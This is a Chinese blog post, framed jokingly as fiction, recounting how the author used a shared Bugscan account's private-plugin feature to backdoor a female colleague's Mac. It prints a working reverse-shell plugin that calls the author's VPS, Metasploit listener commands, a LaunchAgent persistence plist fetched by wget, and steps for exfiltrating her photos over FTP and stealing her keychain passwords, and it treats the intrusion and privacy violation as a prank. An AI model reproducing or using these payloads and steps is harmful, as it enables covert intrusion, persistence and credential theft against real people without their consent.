进入妹子电脑偷照片和密码实录

写在前面

最近因为在忙论文的事情,一直没时间去写博客,《PoC 编写指南》也停更了几个月的样子。今天交了初稿,松了口气,抽时间更新一下博客。文章是去年圣诞节写的,由于各种原因,一直没发。重点是思路

2015 年 8 月圈子沙龙提的一个想法,之后因为各种事情一直没把这个想法实现出来。其实我感觉文章水分有点大(我就这么随口说说,别当真)。

本故事纯属虚构,看看就好,不管你信不信,我反正信了。

事情大概就是这样的,妹子是某公司的研发攻程狮,某天问我渗透网站是不是要先用扫描器?我想了想,还是回答了一个是。接着人又问我什么扫描器好使。

她要是知道后面电脑会被我黑了,所有密码沦陷了,估计她再也不想问我什么东西了吧。

“呐,我给你说啊”,我装作我是长者的样子,“扫描器本质上是代替了你手工检测这个过程,来我先给你说说 X-Scan, Nmap, AWVS…”

“别扯没用的,你直接告诉我你用的哪个。”

“Bugscan。”

“为啥用这个什么什么scan?”

“Bugscan。”

“对对对,为啥要用这个 Bugscan?”

“好用”

“……”

我想她内心是崩溃的。

“那你借你的账号给我用用,我看看这个好用不?”

“呐,我给你讲啊,我这个账号可是核心账号啊,那家伙,呵,这装起逼来,那可是杠杠的,一装一个满分啊……”

“给我用用呗。”

“那是用我的社交账号登的啊!”

“借不借?不借友尽了啊。”

“借借借…”

反正就是这样,我把我的账号就这么借她了。笑话,这么危胁我,我能忍?我可是共产主义接班人呐。

第一天 怎么让节点不挂断

教了她怎么用,怎么挂节点,怎么扫描。然后她会用了,可是又来问我为什么节点老是会在终端退出之后就掉了。我说啊,是因为一旦会话终止,该会话期的所有相关的进程都会被杀死,包括后台进程。解决的办法呢,就是使用 nohup 或者是 screen

具体可以参考我之前的博客的某博文 解决Linux关闭SSH,终端后运行程序终止问题(包括后台)

这个博客已经废弃了,不过有一些水文还是能看。

安装的办法呢

Ubuntu, Debian: apt-get install nohup

Centos: yum install nohup

OS X : brew install nohup

nohup 命令会忽略 SIGTTIN 信号,从而可以在会话结束之后还可以继续运行。

1
nohup python -c "exec(__import__('urllib2').urlopen('https://www.bugscan.net/xxxx').read())" -m 5 &

但是如果你想在下次登录之后看看命令执行的一些结果,比如你跑了 nmap,想看扫描结果,这时我就推荐你使用 screen 而不是 nohup 了。

  1. 新建一个子界面

    1
    screen
  2. 进入子界面后,输入构建节点的指令

    1
    python -c "exec(__import__('urllib2').urlopen('https://www.bugscan.net/xxxx').read())" -m 5
  3. 按 ctrl + a ,d 暂停子界面。这时会显示[detached],并且回到父界面。

  4. 想干啥干啥去
  5. 查看子界面状态

    1
    screen -ls

    然后会显示:
    There is a screen on: 447.pts-1.free (Detached)
    这里的447就是子界面的进程号。

  6. 恢复进入子界面

    1
    screen -r 447
  7. 在子界面杀死子界面的办法是先ctrl + a ,然后按k。

第二天 原理

这天闲着没事,我就上 Bugscan 溜达溜达,你猜怎么着,那家伙开了 screen 之后忘记退了,忘记退了,忘记退了。怎么办怎么办怎么我都知道了她的 IP 地址了,卧槽卧槽卧槽,好想干点坏事,忍不住想干点坏事啊。

经过了痛苦的纠结之后,师父,徒儿还是没能压制住体内的洪荒之力

大概讲一下这个时候的状态:

妹子用她自己的电脑挂了一个节点来扫描,然后她用了我的 Bugscan 账号。现在我登录了 Bugscan 之后,在节点列表是可以看到她的。

在讲后面操作之前,我得再多说一下,Bugscan 的一些原理:

一般来说,你用 nmap,就是在本地安装一个 nmap, 然后让 nmap 来发包去扫描,那么作为我们扫描方来说,每一台机器都要安装 nmap 之后才能扫描。

好,不要急,再说一下在线扫描器,它是用一个 web 来接收你传过来的 url , 然后自己服务器去扫描,再把扫描结果结你。这里就会出一些个问题:

  • 同一时间提交扫描任务的用户数特别多,那么服务器资源就很吃紧
  • 由于是服务器代替用户扫描,如果目标不可达(比如内网),就没办法扫
  • 总有一些没死过的人用这个来扫 gov edu 的站,这样一旦出个事,锅是让你来背的,因为扫描的人是你,而不是人家。

回到正题,Bugscan 就是这样,你看到的 Bugscan.net 其实就是一个任务控制端,真正扫描的,其实就是你的节点。你在网页上提交了一个扫描任务之后,服务器会把这个任务分发给你指定的节点,然后节点和插件池同步,拉取新的插件(这里用插件的 hash 比对,防止重复拉取浪费流量,也提高了速度),然后让节点加载核心插件识别指纹,接着根据指纹加载其对应的这些扫描插件,向目标发包,有结果了就给服务器报告。

整个过程,你可以理解成,你手动把你想要的的插件保存到了你的本地,然后一个个执行了一次。然后把结果汇总了一下。

我把真相这么说出来会不会被西瓜皮打死在华山顶?
其实我说的只是一部分,注意看我上面的措辞,一些,可能,应该,可以…好了再说我就被打死了。

我的第一次猜想是服务端把插件加载后的请求转发给节点了,但是这样做服务端压力实在是太大了,肯定是节点执行插件这种方式。所以呢,这里就是我们的突破点了。

下载 python 代码到节点,然后执行。

下载 python 代码到节点,然后执行!

下载 python 代码到节点,然后执行!!

第三天 初步渗透

制作后门

我还是给翻译翻译吧,下载 python 后门代码到妹子的电脑,然后执行。

Bugscan 的每个插件都要人工审核的,想批量搞别人是不可能的,但是呢,我的账号是核心账号啊,我都说了这账号装起逼来可是杠杠的啊。我有私有插件啊。

私有插件就是这个插件只能给你自己用,而且不用审核就能直接在扫描的时候加载

于是果断上传私有插件(没错我4个月前就已经写了 Demo 了): Whoknows

我先贴源码,然后讲:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# __author__ = 'Medici.Yan'

import os
import commands


def assign(service, arg):
if service == "ip":
return True, arg


def audit(arg):
whoknowns()


def whoknowns():
root_dir_p = "/tmp"
py_payload = '''#!/usr/bin/env python
# coding:utf-8
import socket
import struct

s = socket.socket(2, socket.SOCK_STREAM)
try:
s.connect(('108.61.xxx.xxx', 8080))
l = struct.unpack('>I', s.recv(4))[0]
d = s.recv(l)
while len(d) < l:
d += s.recv(l - len(d))
exec(d, {'s': s})
except Exception, e:
pass

'''

msf_path = '%s/msf.py' % root_dir_p
open(msf_path, 'w').write(py_payload)
commands.getstatusoutput('python %s' % msf_path)
if os.path.isfile(msf_path):
os.remove('%s' % msf_path)
if __name__ == '__main__':
from dummy import *
audit(assign('www', 'http://www.example.com/')[1])

这段代码就是向 /tmp 目录写入一个 msf.py 的文件,msf.py 是一个 msf 的 python 反向后门,然后调用系统命令执行这个 msf.py,完事之后还会自己删除这个 msf.py 文件。

108.61.xxx.xxx 是我的 vps 的地址,8080 是我将来 msf 要监听的端口。 assign, audit 都是 Bugscan 的入口,whoknows 才是我的代码,为什么叫这个名字呢,其实是有深意的,意思就是……我当时就是这么想的,你管我。

然后把这段后门代码以私有插件形式传上去。

监听

连上 vps , 打开 msfconsole, 然后执行下面的代码

1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(handler) > set payload python/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 0.0.0.0
msf exploit(handler) > set lport 8080
msf exploit(handler) > exploit

上面的操作就是监听后门连接,上面后门插件中写到妹子电脑中的 msf.py 内容其实就是 用这里的 payload 生成的后门代码,为什么要用 8080 端口?80 和 8080 这种端口,她看了肯定不会怀疑是后门的。

信息收集

准备工作完成之后,不能着急直接去搞,为什么?

不能打草惊妹子啊。

妹子的电脑是 Macbook, 还好不是 windows, 我还特意在微信上假装关心地问了她有没有装电脑管家或者是卫士什么的安全软件。得到的结果就是没装,要是装了这些个产品,我还得想想怎么免杀的问题。

如果不小心,直接点了执行,后门被拦下来不说,妹子也会立马发现,发现不了根源,也会重启啊,一重启,连 IP 都不知道了还怎么搞。所以一定不能急于求成。

现在知道是裸奔的电脑了,那我就放心了,Go!

Go!Go!Go!

打开 Bugscan.net,新建一个扫描任务。

可以看到,我们的后门代码执行了,并且反弹过来了一个 meterpreter。有了 meterpreter, 其实后面的操作大家都就熟悉了。然而我第一件事并不是干坏事。

巩固后门

因为目标是妹子的个人电脑,不比服务器,她现在在做什么我完全不知道,说不定在我打字的这个时间,她正打算关机睡觉呢?人要是一睡觉,下次再联网,后门就掉了啊,所以,我的第一件事,就是巩固后门。

msf 的后门应该是最理想的,但是呢,妹子的电脑是常年处在内网当中的,她去公司,在公司的路由下,回家里,是在家里的内网下,如果用 metsvc 来持久化后门的话,在这种情况下根本没什么用好吗?

写个 msf.py 到启动项里面?

她要是开机的时候,我的 msf 没在监听,然后人家一个星期不关机,我不就是傻逼了?

我的办法是写了一个自动构建 Bugscan 节点的脚本,在 Linux 下的话,可以用 corntab 来做,但是 Mac OS X 内置的一种称为 Launch Daemon/Agent 的机制来实现系统启动时自动执行脚本程序。我们就可以令脚本程序在系统启动的时候在后台运行了。 具体来参考我这篇博文 Mac OS X 开机启动脚本(自动构建 Bugscan 节点)

我写了一个 bugscan.plist:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.bugscan.net</string>
<key>ProgramArguments</key>
<array>
<string>python</string>
<string>-c</string>
<string>exec(__import__('urllib2').urlopen('https://www.bugscan.net/这里是你自己的用户标识').read())</string>
<string>-m</string>
<string>5</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>StartCalendarInterval</key>
<dict>
<key>Minute</key>
<integer>20</integer>
</dict>
</dict>
</plist>

上面配置中的 20 就是说每个小时的 20 分的时候会检查有没有执行这个脚本,如果没有就执行一次。然后把这个 plist 文件传到 vps 上,开个 http 服务,在 meterpreter 里面打开一个 shell, 直接 wget 下载到妹子的 ~/Library/LaunchAgents/ 目录下:

1
2
cd ~/Library/LaunchAgents/
wget http://xxx.xxx.xxx.xxx/bugscan.plist

因为她运行的时候不是以 root 运行的,所以我没权限给系统目录写,如果是 root 的话,可以直接向系统目录中写

然后让配置生效:

1
launchctl load ~/Library/LaunchAgents/bugscan.plist

运行之后,发现妹子的 IP 在我的节点列表里面出现了两个,哈哈哈,成功了。之前那个是她没关的,现在这个就是 plist 启动的。

这下心里塌实多了,你关了电脑明天我还能继续搞。不怕你换网络啦。

为什么要这样呢?系统偏好设置 里面的 用户与群组可以查看登陆的启动项,这个方法不会在启动项里面看到,当然就无从查觉了。

第四天 羞羞的事情

后门也留好了,事实上,到现在这个后门还是留着的,没被发现。

那下一步要做什么呢?

我想想啊。。。

偷看妹子皂片

这里不得不说一下 Apple 的贴心之处,一个 iCloud 账号,设备之间的信息都可以互相同步。

你在其它设备上拍摄的照片,如果开了共享,就会同步一份,在 Mac 上的位置就是用户家目录下的 Picture 目录下的 照片图库.photoslibrary:

1
/Users/medicean/Pictures/照片图库.photoslibrary

哟西,不说了,直接使用 meterpreter 的 download 命令,把它下载到 vps 上

1
meterpreter> download /Users/meizi/Pictures/照片图库.photoslibrary /root

乱码了居然!!我靠!

那我直接把你整个 Pictures 目录下载了。

1
meterpreter> download -r /Users/meizi/Pictures /root

这下执行没事了,但是!!!!这个东西太大了,下到 1/3 的时候,meterpreter 会出错结果给了我一个不完整的库,这真是气死宝宝了。

机智的我总会对这些自认为能力出众的问题出手。

前往 vps ,开了一个 ftp 服务,嗯,开了一个 ftp 服务。然后进 meterpreter 的 shell, 把照片打包后使用 ftp 上传到我的服务器。

1
2
3
4
5
6
7
8
9
tar cf meizipic.tar /Users/meizi/Pictures

ftp xxx.xxx.xxx.xxx

##
// 然后这里是让你输入 ftp 的账号密码
##

put meizipic.tar /

这里如果你想上传她电脑上的文件,都是可以的,但是,我这么有操守的人,是不可能做出这种事情的,万一人电脑上有机密文件,我一不小心知道了,这就成了窃取公司机密了,我可是共产主义事业接班人,怎么能做这种事,坚决不做。

于是我就把妹子的 photoslibrary 下载到本地了,然后用我的本本打开。

嘻嘻嘻嘻, 打开看看…

别说话,都别说话,尼玛是妹子吗!一共才 108 张照片大部分还都是风景!!!有人的还都是我在朋友圈见过的,我这么辛苦容易吗我?!

窃取妹子密码

Mac 下,你的密码会保存在 钥匙串.app 这个 Application 里面,包括你的 chrome 的密码,也会在这里面有。这个 App 会把数据加密后保存在 ~/Library/Keychains/ 这个目录下,并以 .keychain 为后缀名。

Bingo, 我们要做的,就是把这个目录下的 .keychain 文件全部打包,然后下载下来,载入到 钥匙串.app 中,然后就能以明文的方式查看了。这里的命令就不说了,和上面基本一样。

嗯,把妹子的 keychain 文件解压。

然后打开 钥匙串.app ,添加一个钥匙串,选择妹子的 keychain, 看到了很多密码,其实还有一个文件,没在图中展示,里面有 300 多条密码记录。

但是,现在有个问题了,你要查看,就得知道人家的密码啊。

怎么才能拿到她的密码呢?好像只能键盘记录了吧?其它的办法我还真没想过。

事实上,妹子之前有告诉过我她的 sudo 的密码,所以我试了下,就解开了这个钥匙串的密码。其实她的密码就是 qwer 好吗

然后,通过钥匙串,她保存在这里的密码我全都可以以明文的方式查看。

登进了她的 github 账号,本来想给她博客上搞个涂鸦的,想了想就没搞了。

最后我就拿她的 github 账号关注了一下我自己的 github 账号,给我涨个粉,2333我好无耻啊。突然想到你们会有人去看我的粉丝列表,于是我又重新取关了。

后记(妹子我错了)

其实这个对其它人来说,可以说是 0 危害。这就和 self xss 一样,自己插自己,但是破了人家账号的就另当别论了,有了你的账号,一举拿下你的所有节点, so… 看好你的账号。

啊,这只是沙龙的时候分享的一小部分啊,看看就好,看看就好。

这尼玛妹子看了绝逼要和我友尽啊。拿她的 github 关注了一下我自己,之后我就再也没有进一步渗透下去了。如果想继续深入,真的就可以上键盘记录,拿到微博啊什么的密码了,不过这些事我没做,毕竟我是一个有操守的人……

妹子你听我说,你听我解释,我发誓我真的错了,有话好好说,咱把刀放下,我给你跪下还不行嘛……

本故事纯属虚构,看看就好,不管你信不信,我反正信了。

我真的信了。